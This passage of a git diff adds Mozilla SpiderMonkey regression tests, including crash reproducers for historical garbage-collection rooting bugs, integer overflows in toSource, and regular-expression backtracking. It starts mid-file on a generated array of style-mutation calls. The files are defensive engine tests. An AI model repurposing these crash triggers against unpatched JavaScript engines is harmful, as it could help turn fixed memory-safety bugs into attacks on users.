+{origCount:1316, fun:(function anonymous() {allElements[9].style['float'] = "right";})},
+{origCount:1317, fun:(function anonymous() {allElements[7].style.background = "#fcd";})},
+{origCount:1318, fun:(function anonymous() {allElements[5].style.visibility = "collapse";})},
+{origCount:1319, fun:(function anonymous() {allElements[9].style.clear = "both";})},
+{origCount:1320, fun:(function anonymous() {allElements[11].style.color = "green";})},
+{origCount:1321, fun:(function anonymous() {allElements[4].style.clear = "none";})},
+{origCount:1322, fun:(function anonymous() {allElements[6].style.display = "-moz-deck";})},
+{origCount:1323, fun:(function anonymous() {allElements[9].style.clear = "none";})},
+{origCount:1324, fun:(function anonymous() {allElements[6].style.position = "static";})},
+{origCount:1325, fun:(function anonymous() {allElements[2].style.overflow = "scroll";})},
+{origCount:1326, fun:(function anonymous() {allElements[3].style.background = "transparent";})},
+{origCount:1327, fun:(function anonymous() {allElements[1].style.overflow = "auto";})},
+{origCount:1328, fun:(function anonymous() {allElements[2].style.visibility = "hidden";})},
+{origCount:1329, fun:(function anonymous() {allElements[10].style.overflow = "hidden";})},
+{origCount:1330, fun:(function anonymous() {allElements[6].style.overflow = "visible";})},
+{origCount:1331, fun:(function anonymous() {allElements[8].style.width = "auto";})},
+{origCount:1332, fun:(function anonymous() {allElements[7].style.width = "200%";})},
+{origCount:1333, fun:(function anonymous() {allElements[11].style.width = "200%";})},
+{origCount:1334, fun:(function anonymous() {allElements[10].style.visibility = "collapse";})},
+{origCount:1335, fun:(function anonymous() {allElements[11].style.background = "transparent";})},
+{origCount:1336, fun:(function anonymous() {allElements[5].style.overflow = "visible";})},
+{origCount:1337, fun:(function anonymous() {allElements[12].style['float'] = "right";})},
+{origCount:1338, fun:(function anonymous() {allElements[10].style.background = "#fcd";})},
+{origCount:1339, fun:(function anonymous() {allElements[6].style['float'] = "right";})},
+{origCount:1340, fun:(function anonymous() {allElements[4].style.visibility = "visible";})},
+{origCount:1341, fun:(function anonymous() {allElements[10].style.height = "auto";})},
+{origCount:1342, fun:(function anonymous() {allElements[3].style.position = "static";})},
+{origCount:1343, fun:(function anonymous() {allElements[2].style.display = "-moz-box";})},
+{origCount:1344, fun:(function anonymous() {allElements[12].style.color = "red";})},
+{origCount:1345, fun:(function anonymous() {allElements[0].style.clear = "none";})},
+{origCount:1346, fun:(function anonymous() {allElements[10].style.clear = "left";})},
+{origCount:1347, fun:(function anonymous() {allElements[8].style['float'] = "none";})},
+{origCount:1348, fun:(function anonymous() {allElements[0].style.visibility = "collapse";})},
+{origCount:1349, fun:(function anonymous() {allElements[4].style.visibility = "hidden";})},
+{origCount:1350, fun:(function anonymous() {allElements[0].style.position = "absolute";})},
+{origCount:1351, fun:(function anonymous() {allElements[6].style.display = "-moz-grid-group";})},
+{origCount:1352, fun:(function anonymous() {allElements[1].style.height = "100px";})},
+{origCount:1353, fun:(function anonymous() {allElements[5].style['float'] = "none";})},
+{origCount:1354, fun:(function anonymous() {allElements[9].style['float'] = "none";})},
+{origCount:1355, fun:(function anonymous() {allElements[5].style.display = "table-footer-group";})},
+{origCount:1356, fun:(function anonymous() {allElements[0].style.clear = "both";})},
+{origCount:1357, fun:(function anonymous() {allElements[11].style.clear = "none";})},
+{origCount:1358, fun:(function anonymous() {allElements[5].style.color = "green";})},
+{origCount:1359, fun:(function anonymous() {allElements[1].style['float'] = "left";})},
+{origCount:1360, fun:(function anonymous() {allElements[3].style.background = "#fcd";})},
+{origCount:1361, fun:(function anonymous() {allElements[5].style.display = "block";})},
+{origCount:1362, fun:(function anonymous() {allElements[11].style.width = "1px";})},
+{origCount:1363, fun:(function anonymous() {allElements[2].style['float'] = "right";})},
+{origCount:1364, fun:(function anonymous() {allElements[8].style.display = "table-column";})},
+{origCount:1365, fun:(function anonymous() {allElements[9].style.width = "20em";})},
+{origCount:1366, fun:(function anonymous() {allElements[10].style.visibility = "visible";})},
+{origCount:1367, fun:(function anonymous() {allElements[4].style['float'] = "none";})},
+{origCount:1368, fun:(function anonymous() {allElements[9].style.visibility = "hidden";})},
+{origCount:1369, fun:(function anonymous() {allElements[5].style.width = "200%";})},
+{origCount:1370, fun:(function anonymous() {allElements[9].style.background = "transparent";})},
+{origCount:1371, fun:(function anonymous() {allElements[2].style.color = "red";})},
+{origCount:1372, fun:(function anonymous() {allElements[2].style.width = "auto";})},
+{origCount:1373, fun:(function anonymous() {allElements[1].style.background = "#fcd";})},
+{origCount:1374, fun:(function anonymous() {allElements[5].style.width = "10%";})},
+{origCount:1375, fun:(function anonymous() {allElements[6].style.overflow = "visible";})},
+{origCount:1376, fun:(function anonymous() {allElements[10].style.display = "-moz-inline-block";})},
+{origCount:1377, fun:(function anonymous() {allElements[8].style.visibility = "collapse";})},
+{origCount:1378, fun:(function anonymous() {allElements[7].style.display = "inline";})},
+{origCount:1379, fun:(function anonymous() {allElements[11].style.position = "fixed";})},
+{origCount:1380, fun:(function anonymous() {allElements[1].style.display = "-moz-stack";})},
+{origCount:1381, fun:(function anonymous() {allElements[7].style.clear = "left";})},
+{origCount:1382, fun:(function anonymous() {allElements[9].style.overflow = "auto";})},
+{origCount:1383, fun:(function anonymous() {allElements[0].style.height = "10%";})},
+{origCount:1384, fun:(function anonymous() {allElements[10].style.overflow = "scroll";})},
+{origCount:1385, fun:(function anonymous() {allElements[7].style.height = "100px";})},
+{origCount:1386, fun:(function anonymous() {allElements[8].style.overflow = "auto";})},
+{origCount:1387, fun:(function anonymous() {allElements[6].style.background = "#fcd";})},
+{origCount:1388, fun:(function anonymous() {allElements[7].style.width = "auto";})},
+{origCount:1389, fun:(function anonymous() {allElements[3].style.position = "relative";})},
+{origCount:1390, fun:(function anonymous() {allElements[12].style.width = "10%";})},
+{origCount:1391, fun:(function anonymous() {allElements[1].style.position = "absolute";})},
+{origCount:1392, fun:(function anonymous() {allElements[1].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:1393, fun:(function anonymous() {allElements[5].style.clear = "left";})},
+{origCount:1394, fun:(function anonymous() {allElements[4].style['float'] = "left";})},
+{origCount:1395, fun:(function anonymous() {allElements[6].style.width = "20em";})},
+{origCount:1396, fun:(function anonymous() {allElements[0].style.height = "200%";})},
+{origCount:1397, fun:(function anonymous() {allElements[8].style.width = "200%";})},
+{origCount:1398, fun:(function anonymous() {allElements[6].style.height = "auto";})},
+{origCount:1399, fun:(function anonymous() {allElements[2].style.overflow = "scroll";})},
+{origCount:1400, fun:(function anonymous() {allElements[1].style.clear = "left";})},
+{origCount:1401, fun:(function anonymous() {allElements[7].style.display = "-moz-box";})},
+{origCount:1402, fun:(function anonymous() {allElements[0].style['float'] = "none";})},
+{origCount:1403, fun:(function anonymous() {allElements[0].style.clear = "none";})},
+{origCount:1404, fun:(function anonymous() {allElements[10].style.height = "100px";})},
+{origCount:1405, fun:(function anonymous() {allElements[11].style.width = "20em";})},
+{origCount:1406, fun:(function anonymous() {allElements[9].style.clear = "both";})},
+{origCount:1407, fun:(function anonymous() {allElements[7].style.position = "static";})},
+{origCount:1408, fun:(function anonymous() {allElements[12].style['float'] = "none";})},
+{origCount:1409, fun:(function anonymous() {allElements[4].style.position = "static";})},
+{origCount:1410, fun:(function anonymous() {allElements[0].style.height = "200%";})},
+{origCount:1411, fun:(function anonymous() {allElements[7].style['float'] = "none";})},
+{origCount:1412, fun:(function anonymous() {allElements[3].style.clear = "none";})},
+{origCount:1413, fun:(function anonymous() {allElements[6].style.color = "green";})},
+{origCount:1414, fun:(function anonymous() {allElements[10].style.height = "200%";})},
+{origCount:1415, fun:(function anonymous() {allElements[7].style.overflow = "visible";})}
+
+ ];
+
+
+var output = eval(commands.toSource().replace(/anonymous/g,"")).toSource().replace( /\)\},/g , ")},\n");
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-311792-01.js b/js/src/tests/non262/extensions/regress-311792-01.js
new file mode 100644
index 0000000000..8579b7c933
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-311792-01.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311792;
+var summary = 'Root Array.prototype methods';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function index_getter()
+{
+ gc();
+ return 100;
+}
+
+var a = [0, 1];
+a.__defineGetter__(0, index_getter);
+
+a.slice(0, 1).join();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-311792-02.js b/js/src/tests/non262/extensions/regress-311792-02.js
new file mode 100644
index 0000000000..3b01415598
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-311792-02.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311792;
+var summary = 'Root Array.prototype methods';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var subverted = 0;
+
+function index_getter()
+{
+ delete a[0];
+ gc();
+ for (var i = 0; i != 1 << 14; ++i) {
+ var tmp = new String("test");
+ tmp = null;
+ }
+ return 1;
+}
+
+function index_setter(value)
+{
+ subverted = value;
+}
+
+var a = [ Math.sqrt(2), 0 ];
+a.__defineGetter__(1, index_getter);
+a.__defineSetter__(1, index_setter);
+
+a.reverse();
+printStatus(subverted)
+
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-313763.js b/js/src/tests/non262/extensions/regress-313763.js
new file mode 100644
index 0000000000..c5ecfb2d8e
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-313763.js
@@ -0,0 +1,46 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313763;
+var summary = 'Root jsarray.c creatures';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+printStatus ('This bug requires TOO_MUCH_GC');
+
+var N = 0x80000002;
+var array = Array(N);
+array[N - 1] = 1;
+array[N - 2] = 2;
+
+// Set getter not to wait until engine loops through 2^31 holes in the array.
+var LOOP_TERMINATOR = "stop_long_loop";
+array.__defineGetter__(N - 2, function() {
+ throw "stop_long_loop";
+ });
+
+var prepared_string = String(1);
+array.__defineGetter__(N - 1, function() {
+ var tmp = prepared_string;
+ prepared_string = null;
+ return tmp;
+ })
+
+
+ try {
+ array.unshift(1);
+ } catch (e) {
+ if (e !== LOOP_TERMINATOR)
+ throw e;
+ }
+
+var expect = "1";
+var actual = array[N];
+printStatus(expect === actual);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-314874.js b/js/src/tests/non262/extensions/regress-314874.js
new file mode 100644
index 0000000000..867e127044
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-314874.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 314874;
+var summary = 'Function.call/apply with non-primitive argument';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var thisArg = { valueOf: function() { return {a: 'a', b: 'b'}; } };
+
+ var f = function () { return (this); };
+
+ expect = f.call(thisArg);
+
+ thisArg.f = f;
+
+ actual = thisArg.f();
+
+ delete thisArg.f;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-315509-02.js b/js/src/tests/non262/extensions/regress-315509-02.js
new file mode 100644
index 0000000000..40e64b7ea4
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-315509-02.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 315509;
+var summary = 'Array.prototype.unshift do not crash on Arrays with holes';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function x1() {
+ var a = new Array(1);
+ a.unshift(1);
+}
+function x2() {
+ var a = new Array(1);
+ a.unshift.call(a, 1);
+}
+function x3() {
+ var a = new Array(1);
+ a.x = a.unshift;
+ a.x(1);
+}
+function x4() {
+ var a = new Array(1);
+ a.__defineSetter__("x", a.unshift);
+ a.x = 1;
+}
+
+for (var i = 0; i < 10; i++)
+{
+ x1();
+ x2();
+ x3();
+ x4();
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-319683.js b/js/src/tests/non262/extensions/regress-319683.js
new file mode 100644
index 0000000000..47e0e8042d
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-319683.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 319683;
+var summary = 'Do not crash in call_enumerate';
+var actual = 'No Crash';
+var expect = 'No Crash';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function crash(){
+ function f(){
+ var x;
+ function g(){
+ x=1; //reference anything here or will not crash.
+ }
+ }
+
+ //apply an object to the __proto__ attribute
+ f.__proto__={};
+
+ //the following call will cause crash
+ f();
+}
+
+crash();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-320854.js b/js/src/tests/non262/extensions/regress-320854.js
new file mode 100644
index 0000000000..8486924d60
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-320854.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 320854;
+var summary = 'o.hasOwnProperty("length") should not lie when o has function in proto chain';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var o = {__proto__:function(){}};
+
+expect = false;
+actual = o.hasOwnProperty('length')
+
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-327170.js b/js/src/tests/non262/extensions/regress-327170.js
new file mode 100644
index 0000000000..f9f63be4b2
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-327170.js
@@ -0,0 +1,25 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 327170;
+var summary = 'Reuse of RegExp in string.replace(rx.compile(...), function() { rx.compile(...); }) causes a crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var g_rx = /(?:)/;
+
+"this is a test-string".replace(g_rx.compile("test", "g"),
+ function()
+ {
+ // re-use of the g_rx RegExp object,
+ // that's currently in use by the replace fn.
+ g_rx.compile("string", "g");
+ });
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-327608.js b/js/src/tests/non262/extensions/regress-327608.js
new file mode 100644
index 0000000000..64162d6741
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-327608.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 327608;
+var summary = 'Do not assume we will find the prototype property';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+print('This test runs only in the browser');
+
+function countProps(obj)
+{
+ var c;
+ for (var prop in obj)
+ ++c;
+ return c;
+}
+
+function init()
+{
+ var inp = document.getElementsByTagName("input")[0];
+ countProps(inp);
+ gc();
+ var blurfun = inp.blur;
+ blurfun.__proto__ = null;
+ countProps(blurfun);
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+}
+
+// delay test driver end
+gDelayTestDriverEnd = true;
+
+document.write('<input>');
+window.addEventListener("load", init, false);
diff --git a/js/src/tests/non262/extensions/regress-328443.js b/js/src/tests/non262/extensions/regress-328443.js
new file mode 100644
index 0000000000..897ee8fc1b
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-328443.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 328443;
+var summary = 'Uncatchable exception with |new (G.call) (F);| when F proto is null';
+var actual = '';
+var expect = 'Exception caught';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var F = (function(){});
+F.__proto__ = null;
+
+var G = (function(){});
+
+var z;
+
+z = "uncatchable exception!!!";
+try {
+ new (G.call) (F);
+
+ actual = "No exception";
+} catch (er) {
+ actual = "Exception caught";
+ printStatus("Exception was caught: " + er);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-330569.js b/js/src/tests/non262/extensions/regress-330569.js
new file mode 100644
index 0000000000..57114781a6
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-330569.js
@@ -0,0 +1,91 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 330569;
+var summary = 'RegExp - throw InternalError on too complex regular expressions';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var s;
+ expect = 'InternalError: regular expression too complex';
+
+ s = '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">' +
+ '<html>\n' +
+ '<head>\n' +
+ '<meta http-equiv="content-type" content="text/html; charset=windows-1250">\n' +
+ '<meta name="generator" content="PSPad editor, www.pspad.com">\n' +
+ '<title></title>\n'+
+ '</head>\n' +
+ '<body>\n' +
+ '<!-- hello -->\n' +
+ '<script language="JavaScript">\n' +
+ 'var s = document. body. innerHTML;\n' +
+ 'var d = s. replace (/<!--(.*|\n)*-->/, "");\n' +
+ 'alert (d);\n' +
+ '</script>\n' +
+ '</body>\n' +
+ '</html>\n';
+
+ try
+ {
+ /<!--(.*|\n)*-->/.exec(s);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary + ': /<!--(.*|\\n)*-->/.exec(s)');
+
+ function testre( re, n ) {
+ for ( var i= 0; i <= n; ++i ) {
+ re.test( Array( i+1 ).join() );
+ }
+ }
+
+ try
+ {
+ testre( /(?:,*)*x/, 22 );
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary + ': testre( /(?:,*)*x/, 22 )');
+
+ try
+ {
+ testre( /(?:,|,)*x/, 22 );
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary + ': testre( /(?:,|,)*x/, 22 )');
+
+ try
+ {
+ testre( /(?:,|,|,|,|,)*x/, 10 );
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': testre( /(?:,|,|,|,|,)*x/, 10 )');
+}
diff --git a/js/src/tests/non262/extensions/regress-333541.js b/js/src/tests/non262/extensions/regress-333541.js
new file mode 100644
index 0000000000..d577ad9124
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-333541.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 333541;
+var summary = '1..toSource()';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function a(){
+ return 1..toSource();
+}
+
+try
+{
+ expect = 'function a(){\n return 1..toSource();\n}';
+ actual = a.toString();
+ compareSource(expect, actual, summary + ': 1');
+}
+catch(ex)
+{
+ actual = ex + '';
+ reportCompare(expect, actual, summary + ': 1');
+}
+
+if (Function.prototype.toSource) {
+ try
+ {
+ expect = 'function a(){\n return 1..toSource();\n}';
+ actual = a.toSource();
+ compareSource(expect, actual, summary + ': 2');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ reportCompare(expect, actual, summary + ': 2');
+ }
+}
+
+expect = a;
+actual = a.valueOf();
+reportCompare(expect, actual, summary + ': 3');
+
+try
+{
+ expect = 'function a(){\n return 1..toSource();\n}';
+ actual = "" + a;
+ compareSource(expect, actual, summary + ': 4');
+}
+catch(ex)
+{
+ actual = ex + '';
+ reportCompare(expect, actual, summary + ': 4');
+}
diff --git a/js/src/tests/non262/extensions/regress-336409-1.js b/js/src/tests/non262/extensions/regress-336409-1.js
new file mode 100644
index 0000000000..1f03dfd2b6
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-336409-1.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!Object.prototype.toSource||!xulRuntime.shell||Android) slow -- no results reported.
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 336409;
+var summary = 'Integer overflow in js_obj_toSource';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+function createString(n)
+{
+ var l = n*1024*1024;
+ var r = 'r';
+
+ while (r.length < l)
+ {
+ r = r + r;
+ }
+ return r;
+}
+
+try
+{
+ var n = 64;
+ printStatus('Creating ' + n + 'MB string');
+ var r = createString(n);
+ printStatus('Done. length = ' + r.length);
+ printStatus('Creating object');
+ var o = {f1: r, f2: r, f3: r,f4: r,f5: r, f6: r, f7: r, f8: r,f9: r};
+ printStatus('object.toSource()');
+ var rr = o.toSource();
+ printStatus('Done.');
+}
+catch(ex)
+{
+ expect = 'InternalError: allocation size overflow';
+ actual = ex + '';
+ print(actual);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-336409-2.js b/js/src/tests/non262/extensions/regress-336409-2.js
new file mode 100644
index 0000000000..545350150b
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-336409-2.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!Object.prototype.toSource||(!xulRuntime.shell&&((Android||(isDebugBuild&&xulRuntime.OS=="Linux")||xulRuntime.XPCOMABI.match(/x86_64/))))) slow -- can fail silently due to out of memory, bug 615011 - timeouts on slow debug Linux
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 336409;
+var summary = 'Integer overflow in js_obj_toSource';
+var actual = 'No Crash';
+var expect = /(No Crash|InternalError: allocation size overflow|out of memory)/;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+function createString(n)
+{
+ var l = n*1024*1024;
+ var r = 'r';
+
+ while (r.length < l)
+ {
+ r = r + r;
+ }
+ return r;
+}
+
+try
+{
+ var n = 128;
+ printStatus('Creating ' + n + 'MB string');
+ var r = createString(n);
+ printStatus('Done. length = ' + r.length);
+ printStatus('Creating object');
+ var o = {f1: r, f2: r, f3: r,f4: r,f5: r, f6: r, f7: r, f8: r,f9: r};
+ printStatus('object.toSource()');
+ var rr = o.toSource();
+ printStatus('Done.');
+}
+catch(ex)
+{
+ actual = ex + '';
+ print(actual);
+}
+
+reportMatch(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-336410-1.js b/js/src/tests/non262/extensions/regress-336410-1.js
new file mode 100644
index 0000000000..869a7b9429
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-336410-1.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!Object.prototype.toSource||!xulRuntime.shell||Android) slow -- can fail silently due to out of memory
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 336410;
+var summary = 'Integer overflow in array_toSource';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+function createString(n)
+{
+ var l = n*1024*1024;
+ var r = 'r';
+
+ while (r.length < l)
+ {
+ r = r + r;
+ }
+ return r;
+}
+
+try
+{
+ var n = 64;
+ printStatus('Creating ' + n + 'M length string');
+ var r = createString(n);
+ printStatus('Done. length = ' + r.length);
+ printStatus('Creating array');
+ var o=[r, r, r, r, r, r, r, r, r];
+ printStatus('object.toSource()');
+ var rr = o.toSource();
+ printStatus('Done.');
+}
+catch(ex)
+{
+ expect = '\(InternalError: allocation size overflow|out of memory\)';
+ actual = ex + '';
+ print(actual);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-336410-2.js b/js/src/tests/non262/extensions/regress-336410-2.js
new file mode 100644
index 0000000000..bd0952e9e6
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-336410-2.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!Object.prototype.toSource||(!xulRuntime.shell&&((isDebugBuild&&xulRuntime.OS=="Linux")||Android||xulRuntime.XPCOMABI.match(/x86_64/)||xulRuntime.OS=="WINNT"))) slow -- can fail silently due to out of memory, bug 621348 - timeouts on slow debug Linux
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 336410;
+var summary = 'Integer overflow in array_toSource';
+var actual = 'No Crash';
+var expect = /(No Crash|InternalError: allocation size overflow|out of memory)/;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+function createString(n)
+{
+ var l = n*1024*1024;
+ var r = 'r';
+
+ while (r.length < l)
+ {
+ r = r + r;
+ }
+ return r;
+}
+
+try
+{
+ var n = 128;
+ printStatus('Creating ' + n + 'M length string');
+ var r = createString(n);
+ printStatus('Done. length = ' + r.length);
+ printStatus('Creating array');
+ var o=[r, r, r, r, r, r, r, r, r];
+ printStatus('object.toSource()');
+ var rr = o.toSource();
+ printStatus('Done.');
+}
+catch(ex)
+{
+ actual = ex + '';
+ print(actual);
+}
+
+reportMatch(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-339685.js b/js/src/tests/non262/extensions/regress-339685.js
new file mode 100644
index 0000000000..295a080686
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-339685.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
